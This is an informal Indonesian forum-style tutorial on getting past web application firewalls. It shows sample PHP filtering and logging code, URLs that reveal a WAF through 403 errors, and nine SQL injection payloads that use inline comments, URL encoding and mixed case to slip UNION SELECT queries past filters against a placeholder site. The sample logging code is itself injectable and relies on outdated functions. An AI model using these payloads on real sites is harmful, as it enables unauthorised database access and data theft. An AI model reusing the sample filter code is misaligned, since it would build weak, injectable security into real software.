Bypass WAF

Apa itu WAF ?
WAF itu (Web Application Firewall) dimana waf itu dipasang sebagai firewall security web untuk keamanan umum...

rata2 web yang udah di
pasang waf itu kebal sama SQL Injection yang basic atau sql injection dengan statement error ( ' ) atau ( /** )

WAF itu kaya gimana sih ?
WAF itu ...
:v bingung mw jelasinnya, wkwkwkkwkw =))
tapi kalo untuk contohnya sih, waf itu modulenya kaya gini (yg aq tau :3 )

Code:
Anti MySQL Injection

$_GET = array_map('trim', $_GET);
$_POST = array_map('trim', $_POST);
$_COOKIE = array_map('trim', $_COOKIE);
$_REQUEST = array_map('trim', $_REQUEST);
if(get_magic_quotes_gpc()):
$_GET = array_map('stripslashes', $_GET);
$_POST = array_map('stripslashes', $_POST);
$_COOKIE = array_map('stripslashes', $_COOKIE);
$_REQUEST = array_map('stripslashes', $_REQUEST);
endif;
$_GET = array_map('mysql_real_escape_string', $_GET);
$_POST = array_map('mysql_real_escape_string', $_POST);
$_COOKIE = array_map('mysql_real_escape_string', $_COOKIE);
$_REQUEST = array_map('mysql_real_escape_string', $_REQUEST);

untuk contoh sampel module log nya ..
Code:
Log Error / Aktifitas WAF

$locatie = $_SERVER['REQUEST_URI'];
$array = Array();
$array[] = "mysql";
$array[] = "query";
$array[] = ")";
$array[] = ";";
$array[] = "}";
$array[] = "<script>";
$array[] = "</script>";
$array = Array();
$array[] = "mysql";
$array[] = ")";
$array[] = ";";
$array[] = "}";
$array[] = "INSERT";
$array[] = "DROPTABLE";
$array[] = "TRUNCATE";
$array[] = "UPDATE";
$array[] = "COOKIE";
$array[] = "FILES";
$array[] = "POST";
$array[] = "REQUEST";
$array[] = "SERVER";
$array[] = "INSERT";
$array[] = "%40";
$array[] = "%20";
$array[] = "";
$array[] = "DROPTABLE";
$array[] = "TRUNCATE";
$array[] = "WHERE";
$array[] = "VALUES";
$array[] = "SELECT";
$array[] = "FROM";
$array[] = "exit";
$array[] = "'";
$array[] = '"';
$array[] = ",";
$array[] = "`";
$array[] = "echo";
foreach($array As $posinject) {
if(eregi($posinject,$locatie)) {
$time = 'NOW()';
mysql_query("INSERT INTO `injection`(`user_id`, `ip`, `location`, `date`)
VALUES ('".ID."', '".$_SERVER[REMOTE_ADDR]."', '".$locatie."', '".$tijd."')") or die(mysql_error());
header("location: namafile.php");
exit();
}
}

yah seperti itulah contoh module script waf nya yang aq tau
kalo mumet baca kodenya :3
:v lanjutin dehh kalo blajar =))
nanggung kalo blajar setengah2
wkwkwkkwkwkwkwk :v
lanjut next step :3


Ciri2 Web Tersebut dilindungi WAF.

web tersebut dilindungi waf terlihat dari errornya
contoh :
Code:
Contoh 1 :
www.namawebsite.com/test.php?id=27'

Contoh 2 :
www.namawebsite.com/test.php?id=27 order by 1,2,3,4,5,6--

Contoh 3 :
www.namawebsite.com/test.php?id=27 union select all 1,2,3,4,5,6+from information_schema.tables+where table_schema=database()--
maka akan muncul 403 Forbidden, Not Acceptable, dsb ...


Bypass WAF

tehnik bypass WAF macem2, tergantung kreatifitas masing2 untuk membuat symbol2 atau syntak aneh2 yang berhubungan ama injeksi dari mysql

symbol2 yang digunakan dalam tehnik WAF tuh sih beragam
kaya :
Code:
/**/  , () , # , -- , +--+ , --+- , -- - , , %20 , / , // , <

yang paling sering dipake tuh yang /**/ , () , --

nahh, sekarang waktunya nerangin
( maap yah om2 tante2 ilmu copas dari google :3 xxixixixiiixiii :v )

contoh penggunaan waf :
Code:
Contoh 1
www.namawebsite.com/test.php?id=-27+/*!union*/+select+1,2,3--

Contoh 2
www.namawebsite.com/test.php?id=-27+/*!union*/+/*!select*/+1,2,3--

Contoh 3
www.namawebsite.com/test.php?id=-27/*union*/union/*select*/select+1,2,3/**

Contoh 4
www.namawebsite.com/test.php?id=-27/*uni Z on*/union/*sel Y ect*/select+1,2,3--

Contoh 5
www.namawebsite.com/test.php?id=-27+uni/**/on+se/**/lec/**/t+al/**/l+1,2,3--

Contoh 6
www.namawebsite.com/test.php?id=-27+un/**/io%20n+sel/**/ect/**/+a/**/l%20l+1,2,3--

Contoh 7
www.namawebsite.com/test.php?id=-27+un<i/**/o%20n+s<el<c%20t<+a<<l%20l+1,2,3--

Contoh 8
www.namawebsite.com/test.php?id=-27<+uN<i%20o<N+s<E<L%20e<c<<T+1,2,3--

Contoh 9
www.namawebsite.com/test.php?id=-27+<uUNn/**/Ii/**/oNn<+S<eL%20l<E+%20e/**/c<C/**/t%20T+1,2,3--

dan sebagainya :welcome: